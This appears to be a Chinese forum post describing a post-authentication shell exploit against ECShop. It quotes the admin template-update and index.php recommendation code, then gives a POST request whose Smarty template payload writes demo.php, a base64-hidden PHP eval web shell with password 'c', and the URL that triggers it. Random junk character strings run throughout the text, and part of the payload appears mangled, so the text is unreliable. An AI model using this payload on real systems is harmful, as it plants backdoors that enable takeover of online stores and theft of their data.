Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板

" t$ l" h4 I4 @: m, G+ @而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
) M% ^* |# C! R但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php

1 if ($_REQUEST['act'] == 'update_library')

2   

; m, D+ [% t) b+ [3 {

4     check_authz_json('library_manage');
3 v2 Z6 p, t1 V; ~& `. ^% m
1 i7 T# Y- U1 C; T* T5   

$ d6 o; u; z, m. ^  \4 n" H% O6     $html = stripslashes(json_str_iconv($_POST['html']));

5 _, r1 w: }& t/ [( r# ~# p, y7   

8 y3 D8 G- R* m. E7 ]8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
( U2 C' H, r0 T  W1 ]0 \
9   

10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
  b( r/ E0 X; x
11   

12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
5 d$ _- t! Z/ ~+ N+ F* l
13   
4 b. m' f, N( H& e
# g6 [; N# \; j  ]14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出

15     {
2 O' y. L% M' \8 R( i6 v2 p5 e
1 X. k, s$ l$ f/ B# h16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);

; ?! Y$ N6 u+ B2 G2 g17         make_json_result('', $_LANG['update_lib_success']);
7 |( u0 ?- {: E, [# I: ]
18     }

: s1 L% W( L+ ^; _8 ?% ]19     else
- ^8 y1 }& z  F; d
20     {
" |: W4 {' @5 p6 ^) X6 x" N; I7 M
( v0 y1 A# D; E$ ]21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

* D) x, G; \( q. P22     }
- ]) t$ }0 |3 B0 B' Y% y/ N
; F: j; S. j  v: M: p! V23 }
4 Q+ X4 @: N8 M- s
. Q) S$ q) C: j5 e9 k/ y  Q那么找个比较方便调用了模板的文件
$ \% u' H1 w$ g6 vindex.php
- E7 W/ v5 ]1 x; @
3 r2 [7 Q. U2 v6 M( O# Y( U1 if ($act == 'cat_rec')
1 \$ V1 ~" y; u
2   
$ }( M4 T+ g+ q1 X5 P0 b
3 {
" ^, \+ D- ^8 y$ U6 r# V$ g4 n
: ^" s- R& B2 z  B+ h! X1 O4   

5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');

. ~: J! \) h; ~7 u4 S) g6   
7 d  [0 M5 q- R2 [: j
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';

8   
5 A. O; h5 i$ c+ G2 a8 ~  Z
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

# F' O3 `: Q0 i2 `# H10   

11     include_once('includes/cls_json.php');

12   
9 }( P: K. z7 n0 p: G/ W% f
9 M* V" @+ m% D! a& @' n  V: h13     $json = new JSON;

14   

8 X0 k0 ?% R& n! t  F* i15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

' _$ _# i, r3 f7 ]+ u2 g5 m/ |: F16   

4 p* l1 k! E6 H% o( |! [# l17     $children = get_children($cat_id);
8 h9 Q- g. t9 S
$ ^. U# i) {. l7 Q. r18   
9 k6 n% b; m+ M; ~+ q4 V
9 H2 F# [; D1 W, J+ C' `. j* i19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品

8 e# r' R+ Z) {; O) @) r! K) j4 N20   

' h$ B) P$ p# `! ~- e9 x21     $smarty->assign('cat_rec_sign', 1);

; j! m4 O- _+ D- V. ]22   
0 p6 U1 R! Z. r; i
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best

24   
1 [7 f9 x, W% _- W; [6 B
8 `* P0 D( \# r9 t25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
8 Q$ B6 d) Q) E" c0 C& F
26   

27         echo $rec_array[$rec_type];
4 ^7 F; A1 d% t- t5 |
. k# Z8 c; G, f  h6 _28   

; c1 T( a% K, E8 R9 X( c+ y7 D# a4 v29     die($json->encode($result));

- W& E. q) i+ T) _9 d30   

) ~; n& E& H; {, F! p+ q/ V31 }
4 J# R1 p& W# ^' U) E' B5 b
2 V- g* I0 `; s6 [那么就有利用方法了
post包到http://localhost/ec/admin/template.php?act=update_library
Post内容：

​
4 x1 [* D* K' C/ b- O  E1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
6 ]6 t" B6 {& R/ O& q& x
然后访问http://localhost/ec/index.php?act=cat_rec
  U$ E. L. H& o5 U$ m
shel地址：http://localhost/ec/demo.php
1 O, A4 _8 _7 f1 i0 W密码c
* a& R6 e1 p2 i4 y/ j( c! H0 g